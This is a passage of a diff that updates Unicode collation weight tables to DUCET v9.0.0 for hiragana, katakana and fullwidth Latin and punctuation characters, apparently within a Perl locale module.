-30F9      ; [.3BF2.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VE
-30FA      ; [.3BF3.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VO
-30FD      ; [.1B8A.0020.0002.0002] # KATAKANA ITERATION MARK
-30FE      ; [.1B8A.0020.0002.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK
-3041      ; [.3BC3.0020.000F.0001] # HIRAGANA LETTER SMALL A
-3042      ; [.3BC3.0020.0011.0001] # HIRAGANA LETTER A
-3043      ; [.3BC4.0020.000F.0001] # HIRAGANA LETTER SMALL I
-3044      ; [.3BC4.0020.0011.0001] # HIRAGANA LETTER I
-3045      ; [.3BC5.0020.000F.0001] # HIRAGANA LETTER SMALL U
-3046      ; [.3BC5.0020.0011.0001] # HIRAGANA LETTER U
-3047      ; [.3BC7.0020.000F.0001] # HIRAGANA LETTER SMALL E
-3048      ; [.3BC7.0020.0011.0001] # HIRAGANA LETTER E
-3049      ; [.3BC8.0020.000F.0001] # HIRAGANA LETTER SMALL O
-304A      ; [.3BC8.0020.0011.0001] # HIRAGANA LETTER O
-304B      ; [.3BC9.0020.0011.0001] # HIRAGANA LETTER KA
-304C      ; [.3BC9.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GA
-304D      ; [.3BCA.0020.0011.0001] # HIRAGANA LETTER KI
-304E      ; [.3BCA.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GI
-304F      ; [.3BCB.0020.0011.0001] # HIRAGANA LETTER KU
-3050      ; [.3BCB.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GU
-3051      ; [.3BCC.0020.0011.0001] # HIRAGANA LETTER KE
-3052      ; [.3BCC.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GE
-3053      ; [.3BCD.0020.0011.0001] # HIRAGANA LETTER KO
-3054      ; [.3BCD.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GO
-3055      ; [.3BCE.0020.0011.0001] # HIRAGANA LETTER SA
-3056      ; [.3BCE.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZA
-3057      ; [.3BCF.0020.0011.0001] # HIRAGANA LETTER SI
-3058      ; [.3BCF.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZI
-3059      ; [.3BD0.0020.0011.0001] # HIRAGANA LETTER SU
-305A      ; [.3BD0.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZU
-305B      ; [.3BD1.0020.0011.0001] # HIRAGANA LETTER SE
-305C      ; [.3BD1.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZE
-305D      ; [.3BD2.0020.0011.0001] # HIRAGANA LETTER SO
-305E      ; [.3BD2.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZO
-305F      ; [.3BD3.0020.0011.0001] # HIRAGANA LETTER TA
-3060      ; [.3BD3.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DA
-3061      ; [.3BD4.0020.0011.0001] # HIRAGANA LETTER TI
-3062      ; [.3BD4.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DI
-3063      ; [.3BD5.0020.000F.0001] # HIRAGANA LETTER SMALL TU
-3064      ; [.3BD5.0020.0011.0001] # HIRAGANA LETTER TU
-3065      ; [.3BD5.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DU
-3066      ; [.3BD6.0020.0011.0001] # HIRAGANA LETTER TE
-3067      ; [.3BD6.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DE
-3068      ; [.3BD7.0020.0011.0001] # HIRAGANA LETTER TO
-3069      ; [.3BD7.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DO
-306A      ; [.3BD8.0020.0011.0001] # HIRAGANA LETTER NA
-306B      ; [.3BD9.0020.0011.0001] # HIRAGANA LETTER NI
-306C      ; [.3BDA.0020.0011.0001] # HIRAGANA LETTER NU
-306D      ; [.3BDB.0020.0011.0001] # HIRAGANA LETTER NE
-306E      ; [.3BDC.0020.0011.0001] # HIRAGANA LETTER NO
-306F      ; [.3BDD.0020.0011.0001] # HIRAGANA LETTER HA
-3070      ; [.3BDD.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BA
-3071      ; [.3BDD.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PA
-3072      ; [.3BDE.0020.0011.0001] # HIRAGANA LETTER HI
-3073      ; [.3BDE.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BI
-3074      ; [.3BDE.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PI
-3075      ; [.3BDF.0020.0011.0001] # HIRAGANA LETTER HU
-3076      ; [.3BDF.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BU
-3077      ; [.3BDF.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PU
-3078      ; [.3BE0.0020.0011.0001] # HIRAGANA LETTER HE
-3079      ; [.3BE0.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BE
-307A      ; [.3BE0.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PE
-307B      ; [.3BE1.0020.0011.0001] # HIRAGANA LETTER HO
-307C      ; [.3BE1.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BO
-307D      ; [.3BE1.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PO
-307E      ; [.3BE2.0020.0011.0001] # HIRAGANA LETTER MA
-307F      ; [.3BE3.0020.0011.0001] # HIRAGANA LETTER MI
-3080      ; [.3BE4.0020.0011.0001] # HIRAGANA LETTER MU
-3081      ; [.3BE5.0020.0011.0001] # HIRAGANA LETTER ME
-3082      ; [.3BE6.0020.0011.0001] # HIRAGANA LETTER MO
-3083      ; [.3BE7.0020.000F.0001] # HIRAGANA LETTER SMALL YA
-3084      ; [.3BE7.0020.0011.0001] # HIRAGANA LETTER YA
-3085      ; [.3BE8.0020.000F.0001] # HIRAGANA LETTER SMALL YU
-3086      ; [.3BE8.0020.0011.0001] # HIRAGANA LETTER YU
-3087      ; [.3BEA.0020.000F.0001] # HIRAGANA LETTER SMALL YO
-3088      ; [.3BEA.0020.0011.0001] # HIRAGANA LETTER YO
-3089      ; [.3BEB.0020.0011.0001] # HIRAGANA LETTER RA
-308A      ; [.3BEC.0020.0011.0001] # HIRAGANA LETTER RI
-308B      ; [.3BED.0020.0011.0001] # HIRAGANA LETTER RU
-308C      ; [.3BEE.0020.0011.0001] # HIRAGANA LETTER RE
-308D      ; [.3BEF.0020.0011.0001] # HIRAGANA LETTER RO
-308E      ; [.3BF0.0020.000F.0001] # HIRAGANA LETTER SMALL WA
-308F      ; [.3BF0.0020.0011.0001] # HIRAGANA LETTER WA
-3090      ; [.3BF1.0020.0011.0001] # HIRAGANA LETTER WI
-3091      ; [.3BF2.0020.0011.0001] # HIRAGANA LETTER WE
-3092      ; [.3BF3.0020.0011.0001] # HIRAGANA LETTER WO
-3093      ; [.3BF4.0020.0011.0001] # HIRAGANA LETTER N
-3094      ; [.3BC5.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER VU
-3095      ; [.3BC9.0020.000F.0001] # HIRAGANA LETTER SMALL KA
-3096      ; [.3BCC.0020.000F.0001] # HIRAGANA LETTER SMALL KE
-309D      ; [.1B8A.0020.0002.0001] # HIRAGANA ITERATION MARK
-309E      ; [.1B8A.0020.0002.0001][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK
+   entry => <<'ENTRY', # for DUCET v9.0.0
+30A1      ; [.3D5A.0020.000F.0002] # KATAKANA LETTER SMALL A
+30A2      ; [.3D5A.0020.0011.0002] # KATAKANA LETTER A
+30A3      ; [.3D5B.0020.000F.0002] # KATAKANA LETTER SMALL I
+30A4      ; [.3D5B.0020.0011.0002] # KATAKANA LETTER I
+30A5      ; [.3D5C.0020.000F.0002] # KATAKANA LETTER SMALL U
+30A6      ; [.3D5C.0020.0011.0002] # KATAKANA LETTER U
+30A7      ; [.3D5E.0020.000F.0002] # KATAKANA LETTER SMALL E
+30A8      ; [.3D5E.0020.0011.0002] # KATAKANA LETTER E
+30A9      ; [.3D5F.0020.000F.0002] # KATAKANA LETTER SMALL O
+30AA      ; [.3D5F.0020.0011.0002] # KATAKANA LETTER O
+30AB      ; [.3D60.0020.0011.0002] # KATAKANA LETTER KA
+30AC      ; [.3D60.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GA
+30AD      ; [.3D61.0020.0011.0002] # KATAKANA LETTER KI
+30AE      ; [.3D61.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GI
+30AF      ; [.3D62.0020.0011.0002] # KATAKANA LETTER KU
+30B0      ; [.3D62.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GU
+30B1      ; [.3D63.0020.0011.0002] # KATAKANA LETTER KE
+30B2      ; [.3D63.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GE
+30B3      ; [.3D64.0020.0011.0002] # KATAKANA LETTER KO
+30B4      ; [.3D64.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GO
+30B5      ; [.3D65.0020.0011.0002] # KATAKANA LETTER SA
+30B6      ; [.3D65.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZA
+30B7      ; [.3D66.0020.0011.0002] # KATAKANA LETTER SI
+30B8      ; [.3D66.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZI
+30B9      ; [.3D67.0020.0011.0002] # KATAKANA LETTER SU
+30BA      ; [.3D67.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZU
+30BB      ; [.3D68.0020.0011.0002] # KATAKANA LETTER SE
+30BC      ; [.3D68.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZE
+30BD      ; [.3D69.0020.0011.0002] # KATAKANA LETTER SO
+30BE      ; [.3D69.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZO
+30BF      ; [.3D6A.0020.0011.0002] # KATAKANA LETTER TA
+30C0      ; [.3D6A.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DA
+30C1      ; [.3D6B.0020.0011.0002] # KATAKANA LETTER TI
+30C2      ; [.3D6B.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DI
+30C3      ; [.3D6C.0020.000F.0002] # KATAKANA LETTER SMALL TU
+30C4      ; [.3D6C.0020.0011.0002] # KATAKANA LETTER TU
+30C5      ; [.3D6C.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DU
+30C6      ; [.3D6D.0020.0011.0002] # KATAKANA LETTER TE
+30C7      ; [.3D6D.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DE
+30C8      ; [.3D6E.0020.0011.0002] # KATAKANA LETTER TO
+30C9      ; [.3D6E.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DO
+30CA      ; [.3D6F.0020.0011.0002] # KATAKANA LETTER NA
+30CB      ; [.3D70.0020.0011.0002] # KATAKANA LETTER NI
+30CC      ; [.3D71.0020.0011.0002] # KATAKANA LETTER NU
+30CD      ; [.3D72.0020.0011.0002] # KATAKANA LETTER NE
+30CE      ; [.3D73.0020.0011.0002] # KATAKANA LETTER NO
+30CF      ; [.3D74.0020.0011.0002] # KATAKANA LETTER HA
+30D0      ; [.3D74.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BA
+30D1      ; [.3D74.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PA
+30D2      ; [.3D75.0020.0011.0002] # KATAKANA LETTER HI
+30D3      ; [.3D75.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BI
+30D4      ; [.3D75.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PI
+30D5      ; [.3D76.0020.0011.0002] # KATAKANA LETTER HU
+30D6      ; [.3D76.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BU
+30D7      ; [.3D76.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PU
+30D8      ; [.3D77.0020.0011.0002] # KATAKANA LETTER HE
+30D9      ; [.3D77.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BE
+30DA      ; [.3D77.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PE
+30DB      ; [.3D78.0020.0011.0002] # KATAKANA LETTER HO
+30DC      ; [.3D78.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BO
+30DD      ; [.3D78.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PO
+30DE      ; [.3D79.0020.0011.0002] # KATAKANA LETTER MA
+30DF      ; [.3D7A.0020.0011.0002] # KATAKANA LETTER MI
+30E0      ; [.3D7B.0020.0011.0002] # KATAKANA LETTER MU
+30E1      ; [.3D7C.0020.0011.0002] # KATAKANA LETTER ME
+30E2      ; [.3D7D.0020.0011.0002] # KATAKANA LETTER MO
+30E3      ; [.3D7E.0020.000F.0002] # KATAKANA LETTER SMALL YA
+30E4      ; [.3D7E.0020.0011.0002] # KATAKANA LETTER YA
+30E5      ; [.3D7F.0020.000F.0002] # KATAKANA LETTER SMALL YU
+30E6      ; [.3D7F.0020.0011.0002] # KATAKANA LETTER YU
+30E7      ; [.3D81.0020.000F.0002] # KATAKANA LETTER SMALL YO
+30E8      ; [.3D81.0020.0011.0002] # KATAKANA LETTER YO
+30E9      ; [.3D82.0020.0011.0002] # KATAKANA LETTER RA
+30EA      ; [.3D83.0020.0011.0002] # KATAKANA LETTER RI
+30EB      ; [.3D84.0020.0011.0002] # KATAKANA LETTER RU
+30EC      ; [.3D85.0020.0011.0002] # KATAKANA LETTER RE
+30ED      ; [.3D86.0020.0011.0002] # KATAKANA LETTER RO
+30EE      ; [.3D87.0020.000F.0002] # KATAKANA LETTER SMALL WA
+30EF      ; [.3D87.0020.0011.0002] # KATAKANA LETTER WA
+30F0      ; [.3D88.0020.0011.0002] # KATAKANA LETTER WI
+30F1      ; [.3D89.0020.0011.0002] # KATAKANA LETTER WE
+30F2      ; [.3D8A.0020.0011.0002] # KATAKANA LETTER WO
+30F3      ; [.3D8B.0020.0011.0002] # KATAKANA LETTER N
+30F4      ; [.3D5C.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VU
+30F5      ; [.3D60.0020.000F.0002] # KATAKANA LETTER SMALL KA
+30F6      ; [.3D63.0020.000F.0002] # KATAKANA LETTER SMALL KE
+30F7      ; [.3D87.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VA
+30F8      ; [.3D88.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VI
+30F9      ; [.3D89.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VE
+30FA      ; [.3D8A.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VO
+30FD      ; [.1C0F.0020.0002.0002] # KATAKANA ITERATION MARK
+30FE      ; [.1C0F.0020.0002.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK
+3041      ; [.3D5A.0020.000F.0001] # HIRAGANA LETTER SMALL A
+3042      ; [.3D5A.0020.0011.0001] # HIRAGANA LETTER A
+3043      ; [.3D5B.0020.000F.0001] # HIRAGANA LETTER SMALL I
+3044      ; [.3D5B.0020.0011.0001] # HIRAGANA LETTER I
+3045      ; [.3D5C.0020.000F.0001] # HIRAGANA LETTER SMALL U
+3046      ; [.3D5C.0020.0011.0001] # HIRAGANA LETTER U
+3047      ; [.3D5E.0020.000F.0001] # HIRAGANA LETTER SMALL E
+3048      ; [.3D5E.0020.0011.0001] # HIRAGANA LETTER E
+3049      ; [.3D5F.0020.000F.0001] # HIRAGANA LETTER SMALL O
+304A      ; [.3D5F.0020.0011.0001] # HIRAGANA LETTER O
+304B      ; [.3D60.0020.0011.0001] # HIRAGANA LETTER KA
+304C      ; [.3D60.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GA
+304D      ; [.3D61.0020.0011.0001] # HIRAGANA LETTER KI
+304E      ; [.3D61.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GI
+304F      ; [.3D62.0020.0011.0001] # HIRAGANA LETTER KU
+3050      ; [.3D62.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GU
+3051      ; [.3D63.0020.0011.0001] # HIRAGANA LETTER KE
+3052      ; [.3D63.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GE
+3053      ; [.3D64.0020.0011.0001] # HIRAGANA LETTER KO
+3054      ; [.3D64.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GO
+3055      ; [.3D65.0020.0011.0001] # HIRAGANA LETTER SA
+3056      ; [.3D65.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZA
+3057      ; [.3D66.0020.0011.0001] # HIRAGANA LETTER SI
+3058      ; [.3D66.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZI
+3059      ; [.3D67.0020.0011.0001] # HIRAGANA LETTER SU
+305A      ; [.3D67.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZU
+305B      ; [.3D68.0020.0011.0001] # HIRAGANA LETTER SE
+305C      ; [.3D68.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZE
+305D      ; [.3D69.0020.0011.0001] # HIRAGANA LETTER SO
+305E      ; [.3D69.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZO
+305F      ; [.3D6A.0020.0011.0001] # HIRAGANA LETTER TA
+3060      ; [.3D6A.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DA
+3061      ; [.3D6B.0020.0011.0001] # HIRAGANA LETTER TI
+3062      ; [.3D6B.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DI
+3063      ; [.3D6C.0020.000F.0001] # HIRAGANA LETTER SMALL TU
+3064      ; [.3D6C.0020.0011.0001] # HIRAGANA LETTER TU
+3065      ; [.3D6C.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DU
+3066      ; [.3D6D.0020.0011.0001] # HIRAGANA LETTER TE
+3067      ; [.3D6D.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DE
+3068      ; [.3D6E.0020.0011.0001] # HIRAGANA LETTER TO
+3069      ; [.3D6E.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DO
+306A      ; [.3D6F.0020.0011.0001] # HIRAGANA LETTER NA
+306B      ; [.3D70.0020.0011.0001] # HIRAGANA LETTER NI
+306C      ; [.3D71.0020.0011.0001] # HIRAGANA LETTER NU
+306D      ; [.3D72.0020.0011.0001] # HIRAGANA LETTER NE
+306E      ; [.3D73.0020.0011.0001] # HIRAGANA LETTER NO
+306F      ; [.3D74.0020.0011.0001] # HIRAGANA LETTER HA
+3070      ; [.3D74.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BA
+3071      ; [.3D74.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PA
+3072      ; [.3D75.0020.0011.0001] # HIRAGANA LETTER HI
+3073      ; [.3D75.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BI
+3074      ; [.3D75.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PI
+3075      ; [.3D76.0020.0011.0001] # HIRAGANA LETTER HU
+3076      ; [.3D76.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BU
+3077      ; [.3D76.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PU
+3078      ; [.3D77.0020.0011.0001] # HIRAGANA LETTER HE
+3079      ; [.3D77.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BE
+307A      ; [.3D77.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PE
+307B      ; [.3D78.0020.0011.0001] # HIRAGANA LETTER HO
+307C      ; [.3D78.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BO
+307D      ; [.3D78.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PO
+307E      ; [.3D79.0020.0011.0001] # HIRAGANA LETTER MA
+307F      ; [.3D7A.0020.0011.0001] # HIRAGANA LETTER MI
+3080      ; [.3D7B.0020.0011.0001] # HIRAGANA LETTER MU
+3081      ; [.3D7C.0020.0011.0001] # HIRAGANA LETTER ME
+3082      ; [.3D7D.0020.0011.0001] # HIRAGANA LETTER MO
+3083      ; [.3D7E.0020.000F.0001] # HIRAGANA LETTER SMALL YA
+3084      ; [.3D7E.0020.0011.0001] # HIRAGANA LETTER YA
+3085      ; [.3D7F.0020.000F.0001] # HIRAGANA LETTER SMALL YU
+3086      ; [.3D7F.0020.0011.0001] # HIRAGANA LETTER YU
+3087      ; [.3D81.0020.000F.0001] # HIRAGANA LETTER SMALL YO
+3088      ; [.3D81.0020.0011.0001] # HIRAGANA LETTER YO
+3089      ; [.3D82.0020.0011.0001] # HIRAGANA LETTER RA
+308A      ; [.3D83.0020.0011.0001] # HIRAGANA LETTER RI
+308B      ; [.3D84.0020.0011.0001] # HIRAGANA LETTER RU
+308C      ; [.3D85.0020.0011.0001] # HIRAGANA LETTER RE
+308D      ; [.3D86.0020.0011.0001] # HIRAGANA LETTER RO
+308E      ; [.3D87.0020.000F.0001] # HIRAGANA LETTER SMALL WA
+308F      ; [.3D87.0020.0011.0001] # HIRAGANA LETTER WA
+3090      ; [.3D88.0020.0011.0001] # HIRAGANA LETTER WI
+3091      ; [.3D89.0020.0011.0001] # HIRAGANA LETTER WE
+3092      ; [.3D8A.0020.0011.0001] # HIRAGANA LETTER WO
+3093      ; [.3D8B.0020.0011.0001] # HIRAGANA LETTER N
+3094      ; [.3D5C.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER VU
+3095      ; [.3D60.0020.000F.0001] # HIRAGANA LETTER SMALL KA
+3096      ; [.3D63.0020.000F.0001] # HIRAGANA LETTER SMALL KE
+309D      ; [.1C0F.0020.0002.0001] # HIRAGANA ITERATION MARK
+309E      ; [.1C0F.0020.0002.0001][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK
 3000      ; [*0209.0020.0002] # IDEOGRAPHIC SPACE
-FF01      ; [*025F.0020.0002] # FULLWIDTH EXCLAMATION MARK
-FF02      ; [*0305.0020.0002] # FULLWIDTH QUOTATION MARK
-FF03      ; [*0391.0020.0002] # FULLWIDTH NUMBER SIGN
-FF04      ; [.1B8D.0020.0002] # FULLWIDTH DOLLAR SIGN
-FF05      ; [*0392.0020.0002] # FULLWIDTH PERCENT SIGN
-FF06      ; [*038F.0020.0002] # FULLWIDTH AMPERSAND
-FF07      ; [*02FE.0020.0002] # FULLWIDTH APOSTROPHE
-FF08      ; [*0310.0020.0002] # FULLWIDTH LEFT PARENTHESIS
-FF09      ; [*0311.0020.0002] # FULLWIDTH RIGHT PARENTHESIS
-FF0A      ; [*0388.0020.0002] # FULLWIDTH ASTERISK
-FF0B      ; [*05F6.0020.0002] # FULLWIDTH PLUS SIGN
-FF0C      ; [*0221.0020.0002] # FULLWIDTH COMMA
+FF01      ; [*0260.0020.0002] # FULLWIDTH EXCLAMATION MARK
+FF02      ; [*030C.0020.0002] # FULLWIDTH QUOTATION MARK
+FF03      ; [*0398.0020.0002] # FULLWIDTH NUMBER SIGN
+FF04      ; [.1C12.0020.0002] # FULLWIDTH DOLLAR SIGN
+FF05      ; [*0399.0020.0002] # FULLWIDTH PERCENT SIGN
+FF06      ; [*0396.0020.0002] # FULLWIDTH AMPERSAND
+FF07      ; [*0305.0020.0002] # FULLWIDTH APOSTROPHE
+FF08      ; [*0317.0020.0002] # FULLWIDTH LEFT PARENTHESIS
+FF09      ; [*0318.0020.0002] # FULLWIDTH RIGHT PARENTHESIS
+FF0A      ; [*038F.0020.0002] # FULLWIDTH ASTERISK
+FF0B      ; [*0616.0020.0002] # FULLWIDTH PLUS SIGN
+FF0C      ; [*0222.0020.0002] # FULLWIDTH COMMA
 FF0D      ; [*020D.0020.0002] # FULLWIDTH HYPHEN-MINUS
-FF0E      ; [*0274.0020.0002] # FULLWIDTH FULL STOP
-FF0F      ; [*038D.0020.0002] # FULLWIDTH SOLIDUS
-FF10      ; [.1BB8.0020.0002] # FULLWIDTH DIGIT ZERO
-FF11      ; [.1BB9.0020.0002] # FULLWIDTH DIGIT ONE
-FF12      ; [.1BBA.0020.0002] # FULLWIDTH DIGIT TWO
-FF13      ; [.1BBB.0020.0002] # FULLWIDTH DIGIT THREE
-FF14      ; [.1BBC.0020.0002] # FULLWIDTH DIGIT FOUR
-FF15      ; [.1BBD.0020.0002] # FULLWIDTH DIGIT FIVE
-FF16      ; [.1BBE.0020.0002] # FULLWIDTH DIGIT SIX
-FF17      ; [.1BBF.0020.0002] # FULLWIDTH DIGIT SEVEN
-FF18      ; [.1BC0.0020.0002] # FULLWIDTH DIGIT EIGHT
-FF19      ; [.1BC1.0020.0002] # FULLWIDTH DIGIT NINE
-FF1A      ; [*0238.0020.0002] # FULLWIDTH COLON
-FF1B      ; [*0233.0020.0002] # FULLWIDTH SEMICOLON
-FF1C      ; [*05FA.0020.0002] # FULLWIDTH LESS-THAN SIGN
-FF1D      ; [*05FB.0020.0002] # FULLWIDTH EQUALS SIGN
-FF1E      ; [*05FC.0020.0002] # FULLWIDTH GREATER-THAN SIGN
-FF1F      ; [*0264.0020.0002] # FULLWIDTH QUESTION MARK
-FF20      ; [*0387.0020.0002] # FULLWIDTH COMMERCIAL AT
-FF21      ; [.1BC2.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER A
-FF22      ; [.1BDB.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER B
-FF23      ; [.1BF5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER C
-FF24      ; [.1C0A.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER D
-FF25      ; [.1C25.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER E
-FF26      ; [.1C60.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER F
-FF27      ; [.1C6F.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER G
-FF28      ; [.1C93.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER H
-FF29      ; [.1CAD.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER I
-FF2A      ; [.1CC7.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER J
-FF2B      ; [.1CE0.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER K
-FF2C      ; [.1CF2.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER L
-FF2D      ; [.1D25.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER M
-FF2E      ; [.1D34.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER N
-FF2F      ; [.1D58.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER O
-FF30      ; [.1D87.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER P
-FF31      ; [.1D9C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Q
-FF32      ; [.1DAE.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER R
-FF33      ; [.1DEC.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER S
-FF34      ; [.1E10.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER T
-FF35      ; [.1E30.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER U
-FF36      ; [.1E5E.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER V
-FF37      ; [.1E70.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER W
-FF38      ; [.1E7A.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER X
-FF39      ; [.1E86.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Y
-FF3A      ; [.1E9C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Z
-FF3B      ; [*0312.0020.0002] # FULLWIDTH LEFT SQUARE BRACKET
-FF3C      ; [*02FE.0020.0002] # FULLWIDTH REVERSE SOLIDUS
-FF3D      ; [*0313.0020.0002] # FULLWIDTH RIGHT SQUARE BRACKET
-FF3E      ; [*0466.0020.0002] # FULLWIDTH CIRCUMFLEX ACCENT
+FF0E      ; [*0277.0020.0002] # FULLWIDTH FULL STOP
+FF0F      ; [*0394.0020.0002] # FULLWIDTH SOLIDUS
+FF10      ; [.1C3D.0020.0002] # FULLWIDTH DIGIT ZERO
+FF11      ; [.1C3E.0020.0002] # FULLWIDTH DIGIT ONE
+FF12      ; [.1C3F.0020.0002] # FULLWIDTH DIGIT TWO
+FF13      ; [.1C40.0020.0002] # FULLWIDTH DIGIT THREE
+FF14      ; [.1C41.0020.0002] # FULLWIDTH DIGIT FOUR
+FF15      ; [.1C42.0020.0002] # FULLWIDTH DIGIT FIVE
+FF16      ; [.1C43.0020.0002] # FULLWIDTH DIGIT SIX
+FF17      ; [.1C44.0020.0002] # FULLWIDTH DIGIT SEVEN
+FF18      ; [.1C45.0020.0002] # FULLWIDTH DIGIT EIGHT
+FF19      ; [.1C46.0020.0002] # FULLWIDTH DIGIT NINE
+FF1A      ; [*0239.0020.0002] # FULLWIDTH COLON
+FF1B      ; [*0234.0020.0002] # FULLWIDTH SEMICOLON
+FF1C      ; [*061A.0020.0002] # FULLWIDTH LESS-THAN SIGN
+FF1D      ; [*061B.0020.0002] # FULLWIDTH EQUALS SIGN
+FF1E      ; [*061C.0020.0002] # FULLWIDTH GREATER-THAN SIGN
+FF1F      ; [*0266.0020.0002] # FULLWIDTH QUESTION MARK
+FF20      ; [*038E.0020.0002] # FULLWIDTH COMMERCIAL AT
+FF21      ; [.1C47.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER A
+FF22      ; [.1C60.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER B
+FF23      ; [.1C7A.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER C
+FF24      ; [.1C8F.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER D
+FF25      ; [.1CAA.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER E
